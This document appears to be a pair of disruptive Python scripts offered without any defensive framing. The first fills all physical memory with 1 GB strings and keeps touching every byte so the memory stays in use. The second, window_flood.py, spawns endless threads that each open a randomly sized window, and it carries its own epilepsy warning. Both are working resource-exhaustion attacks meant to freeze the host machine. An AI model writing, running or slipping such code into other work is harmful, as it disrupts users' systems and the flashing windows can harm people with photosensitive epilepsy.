| def make_1gb_string():
|     data = "P" * 1024 * 1024 * 1024
|     return data
|
| l = []
|
| total = psutil.virtual_memory().total
|
| while total > 0:
|     d = make_1gb_string()
|     total -= len(d)
|     l.append(d)
|
| while True:
|     n = 0
|     # touch every byte of the used memory
|     # so it is not swapped out
|     for d in l:
|         for c in d:
|             n += ord(c)
|
|     time.sleep(1)

```

```
| # filename: window_flood.py
| # EPILEPSY WARNING
| # pip install tkinter pywin32
| from tkinter import *
| import win32api as a
| from threading import Thread
| import random
|
| # create bazillion windows with
| # different sizes
|
| sw = a.GetSystemMetrics(0)
| sh = a.GetSystemMetrics(1)
|
| def win():
|     b = Tk()
|     b.title("HELLO")
|     w = random.randint(100, sw)
|     h = random.randint(100, sh)
|     b.configure(width=w, height=h)
|     b.configure(bg='lightgray')
|     b.mainloop()
|
| threads = []
| while True:
|     t = Thread(target=win)
|     t.start()
|     threads.append(t)
```